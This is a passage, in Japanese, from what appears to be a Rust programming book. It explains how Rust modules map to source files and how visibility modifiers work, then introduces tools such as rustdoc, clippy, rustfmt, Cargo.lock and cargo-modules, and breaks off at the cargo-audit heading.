これで、Rust のコアコンセプトを巡る 6 部構成のツアーは終わりです! この章の残りでは、この言語で大規模かつ野心的なシステムを構築するのに役立つ機能とツールを見ていきます。


  1. 列挙型 std::option::Option。The Rust Team(2022 年閲覧)。 ↩2

  2. 列挙型 std::error::Error。The Rust Team(2022 年閲覧)。 ↩2

  3. MISRA C: 2012 Guidelines for the use of the C language in critical systems(第 3 版)。MISRA(2019)。 ↩2

  4. C++ Exceptions: Pros and Cons。Nemanja Trifunovic(2009)。

  5. P2544R0 C++ exceptions are becoming more and more problematic。Thomas Neumann(2022)。

  6. 列挙型 std::error::Error。The Rust Team(2022 年閲覧)。

  7. フィーチャー。The Cargo Book(2022 年閲覧)。

  8. 条件付きコンパイル。The Rust Reference(2022 年閲覧)。

モジュールシステム

1994年の C++ の設計に関する講演で1、この言語の発明者である Bjarne Stroustrup は次のように述べました。

私は、Simula2 が提供していたような、プログラム編成のための支援を提供するツールが欲しかったのです。 Simula が提供していた、思考の助けと設計の助けです。 一方で、必要なときには BCPL3 や C のように本当に高速に動作するものが欲しかったのです。

「プログラム編成」とは、Stroustrup 博士が C++ のオブジェクト指向クラスのサポートを指していたものです。 編成のサポートは C++ の勝利の方程式の半分であり、もう半分はパフォーマンスでした。 保守性とドメイン抽象化の双方に適した方法でコードを効果的に編成することは非常に重要な問題であり、高性能アプリケーション向けにそれを解決したことで、C++ は数十年にわたって支配的な地位を占めることができました。

  • Rust におけるクラスの代替: 高レベルデータに関するこれまでの議論では、トレイトと構造体がどのように相互作用し、継承ではなく合成によって振る舞いを定義するかを見ました。Rust の構造体と C++ のクラスは、プログラム編成の基本的な第一段階だと考えることができます。

では、なぜモジュールに関するセクションでこの話題を持ち出すのでしょうか4。特に、C++ は C++20 標準までモジュールシステムさえ持っていなかったにもかかわらずです(誕生からおよそ40年後のことです)。 それは、モジュールが、プログラム編成という時代を超えた問題に対する拡張された解決策だからです。

同じ90年代のインタビューで、Stroustrup は非常に実用主義的な洞察を示しています。

言語に関する私の主要な考え方は、言語とは、ある時点における一連の問題に対する誰かの応答だというものです。 つまり、言語は、それ自体が興味深い対象であるというよりも、問題を解決するために存在します。 私たちの問題、そしてそれらの問題に対する理解は、時間とともに自然に変化します。

そして、ある言語が、実際のコードに取り組む実際のプログラマーが直面する問題に対する優れた解決策であり続ける限り、その言語は生き続け、プログラマーのニーズを満たすために成長していくでしょう。

私たちはすでに、Rust の主要な価値が、予測可能なパフォーマンスを犠牲にすることなく、古くからあるメモリ安全性の問題を解決することだと確認しました(安全な並行性は「パフォーマンス」に含めて考えましょう)。 デバッグすべき未定義動作(UB)が少なくなることで、私たちはより野心的な高性能システムを迅速に構築できます。

構築する価値のあるほぼすべてのシステムは、最終的には規模と複雑さを増していきます。 顧客は新機能を要求し、開発チームは需要に応えるために新しいエンジニアを受け入れ、コードベースは拡大し始めます。 コード編成は「実際のコードに取り組む実際のプログラマー」にとって非常に根本的な問題であるため、それに対処する手段がなければ Rust は実用的ではなかったでしょう。

大規模なプロジェクトを整理され、まとまりのある状態に保つために、Rust はどのようなツールを提供してくれるのでしょうか。 大まかには、構成要素を次のように分解できます。


複雑なシステムを形成するために組み合わされる、基本的な構成要素。

  • アイテムは、ソースコード内のエクスポート可能な要素です。構造体、関数、定数などが含まれます。Rust におけるクラス風の抽象化である構造体は、間違いなく私たちの最も基本的な編成ツールです。プログラム編成階層の頂点です。

    • アイテムと見なされる言語構成要素の完全な一覧が利用できます5。技術的には、モジュールもアイテムです。しかし、現在のコード編成に関する議論の目的では、それらを分類上は別個のものとして扱います。
  • モジュールは、関連するアイテムをまとまりのある単位にグループ化します。名前空間とよく似た形で、プロジェクト内のコードを整理するのに役立ちます。

    • 一部のプログラマーは、「1つのソースファイルにつき1つのモジュール」という慣習に従うことを好みます。しかし、その1対1の対応付けは完全に任意です。モジュールは論理的で階層的なグループ化です。ファイルシステムのレイアウトによって決まるものではありません。
  • クレートは、関連する1つ以上のモジュールをライブラリまたはバイナリとしてグループ化します。プロジェクト間でコードを整理するのに役立ちます。ライブラリでは、可視性修飾子によって、モジュールがどのアイテムをエクスポートするかが決まります(例: クレートの公開 API)。

    • クレートは依存関係を持つこともでき、それら自体もクレートです(例: 内部で使用されるサードパーティライブラリ)。第2章の rcli ツールは、rc4clap という2つのライブラリクレート依存関係を持つバイナリクレートでした。
  • システムは、相互接続されたコンポーネントから成る大規模なソフトウェアを指す一般的な用語です。これは、複数の Rust クレート、CFFI6 を介して相互運用する他のプログラミング言語で書かれたライブラリ、あるいは REST7 や gRPC8 のような構造化フォーマットを使用して通信するネットワーク化されたサブサービスでさえあり得ます。

モジュールで複雑性に対抗する

モジュールはこのセクションの焦点です。 コードを書くときには大きな「設計の助け」となり、読むときには「思考の助け」となります。 モジュールは、コードの機能的なまとまりを区分し、それらのインターフェースを定義します。 コード編成という時代を超えた必要性に対処する助けとなり、最終的には、複雑性を抑制する助けとなります。

私たちが構築するシステムの規模と機能が増すにつれて、それらは何らかの形の入り組みを少しずつ蓄積する傾向があります。 いったん複合化すると、複雑性はシステムの理解と変更を困難にします。 不要な複雑性は、障害やセキュリティ侵害の可能性を高めます。

蓄積された複雑性は、「技術的負債」と呼ばれることがあります。 金融上の負債と同じように、そこから抜け出すのは困難です。 したがって、単純さと保守性を考慮して設計することは、常に優先事項であるべきです。

さて、本書で構築するデータ構造ライブラリは、合計しても5,000行未満のコードになります。 大局的に見れば、これはごく小さなコードベースです。 しかし、私たちは最初から Rust のモジュールシステムを活用します。規模に依存しない利点が得られるからです。 それでは、モジュールがどのように機能するのか感触をつかみましょう。

ソースコードの編成

ファイルシステムのレイアウトからモジュールを推論する言語もあります。 Rust ではそうではありません。

Rust のモジュールは、個々のソースコードファイル(名前が .rs で終わるファイル)と緩やかな関係を持ちます。 モジュールは論理的なグループ化であるため、3つのモジュールとファイルの対応付け、すなわち多対一、多対多、一対一のいずれかを選択できます。 これらは排他的ではありません。単一のプロジェクトで、必要に応じて戦略を組み合わせることができます。

どの対応付けを選んだとしても、モジュールは常に木のような階層を形成します。 モジュールツリーにはルートが必要であり、通常は次のいずれかです。

  • バイナリクレート(rcli など)の場合は main.rs
  • ライブラリクレート(rc4 など)の場合は lib.rs 他のターゲット(テスト、ベンチマーク、例など)をビルドするクレートには、他のターゲット固有のルートがあります。

バイナリの場合、どの項目がどのモジュールで可視になるかは階層によって決まります。 これはライブラリの場合にも当てはまります。 さらに、ライブラリクレートは特定の項目やモジュールをエクスポートすることを選択できます。これにより公開 API が作成されます。

同じ単一の階層を維持する、3 つのモジュールとファイルの対応関係を見ていきましょう。

1. 複数のモジュール -> 1 つのソースファイル(m:1

1 つのファイルにはネストされたモジュールを含めることができます。インラインモジュール定義の構文は次のとおりです。

mod my_module {
    // ここにモジュールの内容。ネストされた「サブモジュール」を含む可能性があります
}

この章で継続している OS の例を続けましょう。ただし、実際に起動可能なカーネルを作成するために必要な詳細については扱いません(このトピックは Philipp Oppermann の優れたチュートリアルシリーズ9で詳しく扱われています)。

新しいバイナリクレートを作成し、main.rs に次の内容を追加するとします。

mod kern {
    pub mod sched {
        // ここにスケジューリングのコード。`Proc` 構造体も含みます...

        /// プロセスの優先度を設定する
        pub fn set_priority(pid: usize, priority: usize) -> bool {
            // ここに実装...
        }
    }

    pub mod dma {
        // ここに Direct Memory Access(DMA)に関連するコード...
    }

    pub mod syscall {
        // ここにシステムコールに関連するコード...
    }
}

// サブモジュール経由のテストを示すためのダミー関数
fn private_helper() -> bool {
    true
}

#[cfg(test)]
mod tests {
    // 「ピア」モジュールから公開関数をインポート
    use super::kern::sched::set_priority;

    // 「親」モジュールからプライベート関数をインポート
    use super::private_helper;

    #[test]
    fn test_private_helper() {
        assert!(private_helper());
    }

    #[test]
    fn test_set_priority() {
        // ここにユニットテスト...
    }

    // ここにさらに個別のテスト...
}

どのような設計判断でも、“できる” と “すべき” は別物です。 OS や大規模なプロジェクトを、このように単一ファイル内で構成したいとはおそらく思わないでしょう。

しかし、多対一の対応関係は、モジュールが柔軟な概念であることを示しています。 この柔軟性のうち、実際に活用する可能性が高い側面の 1 つが、上記の末尾にあるような tests モジュールです。 これにより、ユニットテストを、テスト対象のコードの近く(同じファイル内)に置いておくことができます。

これは、プライベート関数をテストする場合に特に便利です。private_helper 関数が pub とマークされていないにもかかわらず、tests モジュールがその関数を使用できる点に注目してください。 その理由を理解するには、この単一ファイルが作成するモジュール階層を理解する必要があります。

暗黙的に、ファイル main.rs はそれ自体がモジュールです。 実際、これは階層のルートです。 つまり、mod tests は階層内のサブモジュールであり、トップレベルの main.rs モジュールの「子」を意味します。 これは、同じファイル内で宣言された「ピア」モジュール(kern)と同じレベルに位置します。

上記のスニペットのモジュール階層。これは次の 2 つの小節でも変わりません。

Rust では、サブモジュールは親のプライベート項目と公開項目の両方にアクセスできます。

  • 例: tests は、use super::private_helper; によって、親からプライベート関数 private_helper をインポートできます。

プライベート項目は、ピア(kern のような階層内の同じレベル)や子(この例では tests には子サブモジュールがありません)からはアクセスできません。

  • 例: tests は、kern からエクスポートされた公開項目にのみアクセスできます。use super::kern::sched::set_priority; によって、公開関数 set_priority をインポートします。

2. 複数のモジュール -> 複数のソースファイル(m:n

mod kern の内容を、次のように kern.rs という名前のファイルへ移動できます。

pub mod sched {
    // ここにスケジューリングのコード。`Proc` 構造体も含みます...

    /// プロセスの優先度を設定する
    pub fn set_priority(pid: usize, priority: usize) -> bool {
        // ここに実装...
    }
}

pub mod dma {
    // ここに Direct Memory Access(DMA)に関連するコード...
}

pub mod syscall {
    // ここにシステムコールに関連するコード...
}

囲むための pub mod kern { ... } が不要になっていることに注意してください。これはファイル名によって暗黙的に示されます。 変更後のディレクトリの内容は次のようになります。

.
├── Cargo.toml
└── src
    ├── kern.rs
    └── main.rs

1 directory, 3 files

見てきたように、kern.rs はサブモジュールに対して、変更されていないインライン定義(例: pub mod sched { ... } など)を使用します。 したがって、上図の階層は維持されます。

main.rsset_priority 関数をインポートするには、次を使用する必要があります。

mod kern;
use kern::sched::set_priority;
  • mod kern; は、kern モジュールの内容が別ファイル、つまり kern.rs または kern/mod.rs に存在することを示します。

    • これらの「前方宣言」は通常、モジュールルートに配置されます。それが階層全体のルート(ここでは main.rs が該当)であっても、単にサブモジュールを含むモジュールであっても同様です。
  • use kern::sched::set_priority; は、前のレイアウトで tests サブモジュールが行ったのと同じように、公開された sched サブモジュールから特定の関数をインポートします。

3. 1 つのモジュール -> 1 つのソースファイル(1:1

より現実的なプロジェクトレイアウトでは、各モジュールを個別のファイルに配置することを選ぶかもしれません。 それでも、同じ階層は維持されます。

scheddmasyscall のインラインモジュール定義の代わりに、各サブモジュールを次のように専用ファイルに配置できます。

.
├── kern
│   ├── dma.rs
│   ├── sched.rs
│   └── syscall.rs
├── kern.rs
└── main.rs

1 directory, 5 files

別ファイルからモジュールをインポートするとき、Rust は module_name.rs または module_name/mod.rs のどちらかを探します。 したがって、次のレイアウトは上記と等価であり、単に好みの問題です。

.
├── kern
│   ├── dma.rs
│   ├── mod.rs
│   ├── sched.rs
│   └── syscall.rs
└── main.rs

1 directory, 5 files

どちらの場合でも、3 つのサブモジュールについては、囲むためのインラインの pub mod mod_name { ... } を再び削除します。これはファイル名によって暗黙的に示されるためです。たとえば、sched.rs には現在、次の内容が含まれます。

// ここにスケジューリングのコード。`Proc` 構造体も含みます...

/// プロセスの優先度を設定する
pub fn set_priority(pid: usize, priority: usize) -> bool {
    // ここに実装...
}

kern.rs または kern/mod.rs(どちらのレイアウトを選ぶかによります)は、階層全体のルートである main.rs の下に位置するモジュールルートです(上図のとおり)。 この 1:1 レイアウトでは、このファイルが、その子サブモジュールを親である main.rs にどのように公開するかを制御できます。

簡単のため、最初の選択肢である kern.rs を採用したと仮定しましょう。 このファイルは、次のようにして sched サブモジュール全体を公開する(例: 再エクスポートする)ことを選択できます。

pub mod sched;

すると、main.rs は以前と同じように(前の m:n の場合と同様に)set_priority 関数をインポートします。

mod kern;
use kern::sched::set_priority;

しかし、モジュールのユーザーから kern の内部の詳細を抽象化する選択肢もあります。

main.rs は引き続き set_priority 関数を使用できるべきかもしれませんが、その関数が内部的にはより大きな sched モジュールの一部であることを意識すべきではありません。 もし kern.rs がモジュール全体ではなく、単一の関数だけを再エクスポートするなら:

mod sched;
pub use sched::set_priority;

すると、main.rs は次のようにして set_priority を使用できるようになります。

mod kern;
use kern::set_priority;

これは小さな違いに見えるかもしれません。つまり、同じ関数を kern::sched::set_priority 経由でインポートしていたのが、kern::set_priority になっただけです。 関数とモジュール階層は変わっておらず、項目の パス を短くしただけです。

しかし、可視性の制御 は、コードベースの複雑さを管理するための重要な手段です。 これにより、大規模なシステムを内部ではある方法で自由に整理しつつ、エンドユーザーにはそのシステムの一部だけを公開できます。しかも、内部構成の詳細を漏らさない形で公開できます。

公開 API(モジュール、関数、データ型、定数などの項目を含む)は、多くの場合、安定性を保証することに注意してください。 公開 API を通じて内部の詳細を公開しているシステムは、「破壊的変更」(下流のコードがコンパイルできなくなる変更)なしにリファクタリングすることが難しくなります。

保守負担が増えることに加えて、大きく詳細な API サーフェスは、複雑さと認知負荷(API 開発者と API ユーザーの双方にとって)を増加させます。

したがって、モジュール設計の主要な目標は、内部インターフェイスの可視性を制御することによって抽象化を提供することです。 モジュールルートでの再エクスポートを制限するだけでなく、Rust がどのような選択肢を提供しているのかを詳しく見ていきましょう。

可視性の制御

Rust の可視性修飾子は、内部および外部の API サーフェスを適切に保つのに役立ちます。 目標は、項目を次の 2 つのカテゴリのいずれかに分類することです。

  • Private - 同じモジュールまたはそのサブモジュール内でのみアクセスできるもの。
  • Public - モジュールによってエクスポートされるもの。

複雑さを抑えることに加えて、可視性を制限すると 不変条件 を維持できます。 たとえば、ある構造体がプライベートフィールドに対するゲッター関数とセッター関数を提供しているとします。 フィールドを public にするのではありません。 セッター関数が不正なパラメータを処理する(おそらくエラーを返す)なら、その構造体が不正な状態(値が不正または範囲外のフィールドを持つなど)にならないことを保証できます。 オブジェクト指向言語では、同様の実践は カプセル化 という概念に含まれます。

Rust では、デフォルトで項目は private です(現在のモジュール内でのみ可視です)。 可視性を高めるには、明示的にオプトインする必要があります。 任意の項目(モジュール、関数、構造体、構造体フィールドなど5)に適用できる public 可視性の修飾子10は 5 つあります。 制限が少ないものから多いものの順に列挙すると、次のようになります。

修飾子項目はどこで可視か?
pub現在のモジュールの外側または内側を問わず、どこでも。
pub(crate)現在のクレート内のどこでも。
pub(super)親モジュールとサブモジュール内のみ。
pub(in some::path::here)指定されたパス上のサブモジュール内のみ。
pub(self)現在のモジュール内のみ(pub をまったく使わない場合と同じ)。

このセクションでは例を示す代わりに、コアプロジェクトを実装する中で、上記の修飾子のいくつかを使用します。

ある項目が 可視 であるからといって、その項目が 利用可能 であるとは限らないことに注意してください。 項目は、それを含むモジュールによってエクスポートされ、その後エンドユーザーによってインポートされる必要があります。 そのエクスポートと対応するインポートがなければ、項目は スコープ内 にはなりません。

まとめ

コードの構成は、重要で時代を問わない問題です。 Rust のモジュールシステムは、大規模プロジェクトのための粒度が細かく構成可能な解決策を提供します。 モジュールシステムを効果的に使うことは、複雑さを抑える鍵です。

Rust のモジュールは、論理的で階層的なグループ化です。 ファイルシステムから直接推論されるわけではありませんが、モジュールをソースファイルに対応付ける方法はいくつかあります。

内部的には、可視性修飾子が、どの項目がどのモジュールで可視になるかを制御します。 外部的には、モジュールは公開利用のために特定の項目を再エクスポートすることを選択できます。 どちらの場合も、可視性は API サーフェスを制御し、不変条件の維持を支援します。

モジュールがどのようにプロジェクトを整理された状態に保つのかを少し見てきました。 次は、同じプロジェクトを長期にわたって健全に保つためのツールに進みましょう。

Rust モジュールを超えて、ソフトウェアシステムを整理するにはどうすればよいでしょうか?

付録の 基礎: コンポーネントベース設計 セクションは、「プログラム構成」に関する議論を拡張した、一般的に適用できる続編です。

このセクションでは Rust のモジュールシステムに焦点を当てましたが、補足の付録セクションでは普遍的な原則を探ります。


  1. C++ の設計。Bjarne Stroustrup(1994)。

  2. シミュレーションの記述向けに設計された 1962 年のオブジェクト指向言語。クラスという考え方を導入した。

  3. もともとはコンパイラ開発を目的とした、1967 年の C の前身。高性能だが型を持たない。

  4. システムをモジュールに分解する際に使用すべき基準について。David L. Parnas(1972)。

  5. 項目。The Rust Reference(2022 年アクセス)。 ↩2

  6. 外部関数インターフェイス。Wikipedia(2022 年アクセス)。

  7. REST API とは何か?。RedHat(2020)。

  8. コア概念、アーキテクチャ、ライフサイクル。Google(2022 年アクセス)。

  9. Rust で OS を書く。Philipp Oppermann(2022 年アクセス)。

  10. 可視性とプライバシー。The Rust Reference(2022 年アクセス)。

推奨ツール

所有権やモジュールのようなコア言語機能は、プロジェクトの規模や範囲に関係なく、Rustでの開発体験を特徴づけます。 成長を続けるライブラリエコシステムにより、多くの意欲的なプロジェクトが実現可能になります。つまり、他者が開発・保守している抽象化を活用できます。 組み込みのテストサポートは、そのような大胆なプロジェクトを自信を持って構築する助けになります。

ソフトウェアエンジニアリングには、最後に取り上げるべき、おそらくそれほど華やかではない側面があります。それは保守です。 モジュールを賢く使えばアーキテクチャ上の複雑さを制御する助けになりますが、よく整理されたプロジェクトであっても、コードベースの健全性を保つには追加のツールが必要です。

このセクションでは、Rustのファーストパーティのドキュメント生成、lint、コードフォーマット、ビルド再現ツールの基本を簡単に取り上げます。 また、既知の脆弱性について依存関係を監査するなど、さまざまなタスクのためのサードパーティユーティリティもいくつか試します。

ファーストパーティツール

rustdoc

Rustには、組み込みのドキュメントジェネレータであるrustdocがあります1。 これはツールチェーンの標準の一部であり、cargoとともにバンドルされています。 特殊なコメント構文により、Markdown2でドキュメントをコードのすぐそばに直接記述できます。 利点は2つあります。

  1. ドキュメントWebサイトをローカルでレンダリングしたり、リモートで提供したりできます。その包括性はコメントの充実度に応じます。これはライブラリ利用者にとって大きな恩恵です。

  2. ドキュメントの例は自動的に単体テストとして実行されます。これにより、少なくとも提供した例に関しては、任意の時点でドキュメントが最新であることが保証されます。また、テストスイートを構築していくうえで少し弾みがつきます。

rustdocの動作を見るために、新しいライブラリを作成してみましょう。

cargo new --lib prime_test

tree prime_testを実行すると、次のプロジェクトレイアウトが表示されます。

prime_test/
├── Cargo.toml
└── src
    └── lib.rs

lib.rsに次を追加します。


//! This library does unoptimized primality testing.

/// Given a list of numbers, get the count of prime numbers present.
///
/// # Example
///
/// ```
/// use prime_test::count_primes;
///
/// let list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
/// assert_eq!(count_primes(&list), 4);
/// ```
#[doc(alias = "primality")]
pub fn count_primes(num_list: &[usize]) -> usize {
    // Unnecessary, unidiomatic check
    if num_list == [] {
        return 0;
    }

    num_list.iter().filter(|n| is_prime(**n)).count()
}

// Prime number check.
// This is a naive implementation,
// there are much more efficient implementations.
// Returns `true` if `n` is prime, `false` if not.
fn is_prime(n: usize) -> bool {
    if n <= 1 {
        return false;
    }

    for i in 2..n {
        if n % i == 0 {
            return false;
        }
    }

    true
}
  • 最初のコメントは//!で始まり、クレート全体のドキュメントを提供します。

  • pubでマークされたcount_primes関数は、クレートルート(lib.rs)からエクスポートされます。これは公開APIの一部です。

    • 3つのスラッシュ(///)で始まるコメントは、レンダリングされるドキュメントの一部になります。

    • #[doc(alias = "primality")]は、この関数に別のキーワードをタグ付けするマクロです。これにより、関連する検索語primalityを入力したユーザーは、この関数が検索結果に表示されるのを見ることになります。

  • is_primeは非公開ヘルパーであり、エクスポート用のpub修飾子は持たず、通常の非ドキュメントコメント(//で始まる行)を使用しています。

cargo testを実行すると、記述した両方の単体テストと、すべてのドキュメント例が実行されます。 ドキュメントテストだけを実行するには、cargo test --docを使用できます。

running 1 test
test src/lib.rs - count_primes (line 9) ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.16s

ドキュメントをローカルでレンダリングするには、cargo doc --openを実行します。 生成されたHTML/CSS/JavaScriptのWebページが、システムのデフォルトブラウザで開かれます。

ランディングページには、クレート全体のドキュメントが表示され、エクスポートされたモジュール、構造体、関数が列挙されます。 今回の場合、唯一の公開項目はcount_primes関数です。 それをクリックすると、例を表示するドキュメントページに移動します。

選択可能なダークテーマを使用して表示した、公開関数のレンダリング済みドキュメント。

rustdocは標準ライブラリのドキュメントに使用されているため、その形式はRust開発者にすでに馴染み深いものです。 さらに、プロジェクトをRustの公式パッケージリポジトリであるcrates.ioに公開すると、そのプロジェクトのドキュメントは、Rustの公式ドキュメントホストであるdocs.rsで自動的にレンダリングされ、ホストされます。

明確で完全なドキュメントを書く責任は依然としてあなたにありますが、ツールとインフラストラクチャは、必要としているユーザーの手元にドキュメントを届けるための障壁を取り除いてくれます。

追加のヒントをいくつか示します。

  • エクスポートされたすべての項目について完全性を強制したい場合は、クレートルート内に任意の#![deny(missing_docs)]を追加すると、ドキュメントの欠落がコンパイル時エラーになります。

  • コード例に、ユーザーが存在すると仮定できるボイラープレートが含まれている場合、その行の先頭に#を付けることで、レンダリングされたドキュメントからは省きつつ、テスト実行時には存在させることができます。

    • たとえば、count_primes関数の例が# use prime_test::count_primes;で始まっていた場合、ドキュメントにはこのimport行は表示されません。
  • すべてのドキュメント例が、完全に単独で実行可能なコードであるとは限りません。cargoに対して、例がコンパイルされることは確認させるが、ドキュメントテストとして実際に実行しようとはさせないようにするには、コードブロックの先頭にno_runを付けます。これは開始の3つのバッククォートの直後に追加します。コンパイルも実行もすべきでないコードについては、同様にignoreを使用できます。

clippy

clippyは公式のコードlintツールです。 本書のコンテナにはすでにインストールされていますが、一般的なセットアップは次のようになります。

rustup update
rustup component add clippy

clippyの公式ソースリポジトリのREADME.md3によると、このツールは次のカテゴリにわたり、500以上のlintをサポートしています。

カテゴリ説明デフォルトレベル
clippy::allデフォルトで有効なすべての lint(correctness、suspicious、style、complexity、perf)warn/deny
clippy::correctness明らかに誤っている、または無用なコードdeny
clippy::suspicious誤っている、または無用である可能性が非常に高いコードwarn
clippy::styleより慣用的な方法で書かれるべきコードwarn
clippy::complexity単純なことを複雑な方法で行っているコードwarn
clippy::perfより高速に実行されるように書けるコードwarn
clippy::pedanticかなり厳格であったり、ときどき誤検出があったりする lintallow
clippy::nurseryまだ開発中の新しい lintallow
clippy::cargocargo マニフェストに対する lintallow

完全な lint セットには、検索可能なドキュメントサイトがあります4

clippy::correctness は実際のバグを見つけられることに注目してください(たとえば、clippy::style が指摘する、慣用的ではないが正しいコードとは対照的です)。 ただし、correctness チェックのうち、十分な確信をもって自動的に適用できるほど正確なものはごく少数です(例: MachineApplicable5 ルール)。

デフォルト設定で prime_test ライブラリに対して clippy を実行するには、次のようにします。

cd code_snippets/chp3/prime_test
cargo clippy

// Unnecessary, unidiomatic check というコメントが付いた、count_primes 内の if ブロックに対して、次の警告が表示されます。

warning: comparison to empty slice
  --> src/lib.rs:18:8
   |
18 |     if num_list == [] {
   |        ^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `num_list.is_empty()`
   |
   = note: `#[warn(clippy::comparison_to_empty)]` on by default
   = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#comparison_to_empty

warning: `prime_test` (lib) generated 1 warning

この警告は実際に有用で、より明示的な is_empty() API を使うことで、コードをひと目で理解しやすくなります。 count_primes を次のように更新すれば、この警告は消えます。

pub fn count_primes(num_list: &[usize]) -> usize {
    if num_list.is_empty() {
        return 0;
    }

    num_list.iter().filter(|n| is_prime(**n)).count()
}

しかし、リンターには限界があります。 リンターは構文を解析しますが、意味を理解するわけではありません。 より複雑な lint は、あたかも意味を理解しているかのように見えることがありますが。

実際には、このチェックは必要ありません。イテレーターのフィルタリング(上記の .iter().filter(...))は、空入力というエッジケースをすでに正しく処理するからです。 この関数はワンライナーにできます。

pub fn count_primes(num_list: &[usize]) -> usize {
    num_list.iter().filter(|n| is_prime(**n)).count()
}

それでも、clippy は一般的なコード品質を向上させ、維持するための強力で有用なツールです。 また、その lint は定期的に改善されています。 clippy は CI に加えるのに最適です。

「Trojan Source」攻撃についての補足

clippy::correctness に含まれる、やや難解な lint の 1 つは、ソースファイル内の不可視 Unicode 文字を拒否します。 これは潜在的に意外なエッジケースを排除しますが、Rust コンパイラー自体も現在では、「trojan source」攻撃6 を防ぐために lint を行っています。この攻撃は、エンコーディングのトリックを使って、人間には(可視文字の観点で)ある見え方をする一方で、コンパイラーには(解析されたトークンの観点で)別の見え方をするソースコードを生成します。 この変更は、研究者がこの攻撃をサプライチェーンセキュリティへの脅威として報告した CVE-2021-425747 への対応として行われました。

rustfmt

ベストプラクティスや高レベルのイディオムをチェックするリンターとは異なり、rustfmt は低レベルのスタイルルールを強制します。 最大行幅、項目間で許される空白行の数、開始波括弧を同じ行に置くべきか次の行に置くべきか、といったものです。

特定のプロジェクトに適用される個々の書き換えは設定可能です8。 チームの好みに合わせてスタイルルールを調整できます。

rustdoc と同様に、rustfmtcargo サブコマンドで実行できます。 デフォルトのルールセットを適用するには、次のようにします。

cargo fmt

この prime_test ライブラリの例では、このコマンドは何の効果もありません。 しかし、大規模で複数の開発者が関わるコードベースでは、一貫性と可読性の基準レベルを確保するための重要な手段になり得ます。

clippy と同様に、rustfmt も CI の理想的な候補です。 すべてのコミットが統一されたスタイルに従っていれば、コードレビューはより効率的になります。

Cargo.lock ファイル

ファーストパーティのリストにおけるこの最後の項目は、単独のツールではありません。むしろ、議論しておくべき cargo の重要な機能です。

cargo buildcargo run を実行したあと、Cargo.toml の横に新しいファイル Cargo.lock が現れたことに気づいたかもしれません。 Cargo.toml は頻繁に編集するもの(例: 新しい依存関係を追加するため)である一方、Cargo.lock は再現可能なビルドのためのメタデータを含む自動生成ファイルです9

これは、ビルド時点で特定の依存関係バージョンを「固定」します。 ビルドするたびに cargo が依存関係を積極的にアップグレードすることは望ましくないでしょう。

再現可能なビルド

たとえば、Cargo.tomlrayon クレート10 への依存関係を次のように追加したとします。

[dependencies]
rayon = "^1.5"

Cargo Book の依存関係指定ガイド11 によれば、これはプロジェクトが 1.5.0 より大きく 2.0.0 未満の任意のセマンティックバージョン12rayon を使用できることを意味します。 あなたが最初にプロジェクトをビルドした時点で、利用可能な rayon の最新バージョンが 1.5.0 だったと仮定しましょう。 バージョン 1.5.1 がリリースされると何が起こるでしょうか。

何も起こりません。 その最初のビルド中に生成された Cargo.lock ファイルは、使用する rayon のバージョンとして 1.5.0 を記録しています。 Cargo.lock を含むプロジェクトディレクトリのコピーを同僚と共有すれば、その同僚はあなたとまったく同じ依存関係バージョンを使ってプロジェクトをビルドできます。 Chapter 2 の CLI ツールのように、実行可能ファイルをビルドするプロジェクトでは、Cargo.lock ファイルをバージョン管理にコミットするのがよい考えです。 そうすれば、誰でも同等の実行可能ファイルをビルドできます。

さらに、同僚がまったく同じコンパイラーバージョンを使い、同じプラットフォームをターゲットにすることを確実にするために、rust-toolchain.toml13 ファイルを含めることもできます。 理論上は、依存関係のバージョンを固定する必要はないはずです。 セマンティックバージョニングでは、1.5.1 には完全に後方互換性のあるバグ修正のみが含まれることになっています。 しかし、それは自動的に強制できるものではなく、慣習にすぎません。 そしてソフトウェアは複雑であり、些細なバグ修正が、あなたのプロダクトや環境に固有の問題を引き起こす可能性は十分にあります。 だからこそ、プロダクションソフトウェアにとって再現可能なビルドは非常に重要です。 特に、継続的インテグレーションと継続的デプロイメント(CI/CD)に関してはなおさらです。

Cargo.toml で許可される最新の依存関係バージョンへ更新する準備ができたら、単に次を実行します。

cargo update
cargo test

前者のコマンドは、新しく公開されたバージョンを検索し、Cargo.lock を更新します。 後者はテストスイートを実行します。 念のためです。

セルフホストされた依存関係

依存関係は crates.io でホストされている必要はないことに注意してください。 第2章のCLIツールは、次のように clap をそのGitHubリポジトリから直接取得することもできました。

[dependencies]
clap = { git = "https://github.com/clap-rs/clap.git", features = ["derive"] }

git = ... は、あなたの会社やチームが管理するプライベートなセルフホストリポジトリを含む、任意のGitリポジトリURLに使用できます。

さらに、特定のブランチとコミットハッシュに手動で固定することもできます。

[dependencies]
clap = { git = "https://github.com/clap-rs/clap.git", branch = "master", rev = "31bd0b5", features = ["derive"] }

これは、他の依存関係を cargo update でアップストリームに追従させ続けながら、内部ライブラリの既知の良好なバージョンに留まる必要がある場合に便利です。

サードパーティ製ツール

組み込みのメンテナンスツールは氷山の一角です。 エコシステムには、しばしば cargo のプラグインとしてバンドルされる、さまざまな追加機能があります。 つまり、cargo に追加のサブコマンドを拡張するのは、多くの場合 cargo install <name_of_tool> を実行するのと同じくらい簡単だということです。 ただし、一部のツールには追加のセットアップ手順があります。

ここでは、3つの異なるサードパーティ製プラグインを試してみます。 このセクションの残りでは、この本のコンテナを使用しているものとします。このコンテナには、それぞれが事前にインストールされています。 そうでない場合は、各ツールのドキュメントを参照してください(脚注にリンクがあります)。

cargo-modules

大規模なRustプロジェクトの概要をすばやく把握する必要がある場合、cargo-modules14 が便利です。 これは、内部APIと外部APIの両方を含むモジュール階層をコンソールに出力します。

第2章で使用したCLI引数パーサーである clap で試してみましょう。

git clone git@github.com:clap-rs/clap.git
cd clap/
cargo modules generate tree --with-types --package clap

次のような内容で始まる、色分けされた出力が表示されるはずです。

crate clap
├── const INTERNAL_ERROR_MSG: pub(crate)
├── const INVALID_UTF8: pub(crate)
├── struct SubCommand: pub
├── mod build: pub(crate)
│   ├── mod app_settings: pub(self)
│   │   ├── struct AppFlags: pub
│   │   ├── enum AppSettings: pub
│   │   └── struct Flags: pub(self)
│   ├── mod arg: pub(self)
│   │   ├── struct Arg: pub
│   │   ├── enum ArgProvider: pub(crate)
│   │   ├── enum DisplayOrder: pub(crate)
│   │   ├── type Validator: pub(self)
│   │   ├── type ValidatorOs: pub(self)
│   │   └── fn display_arg_val: pub(crate)
...

cargo-audit

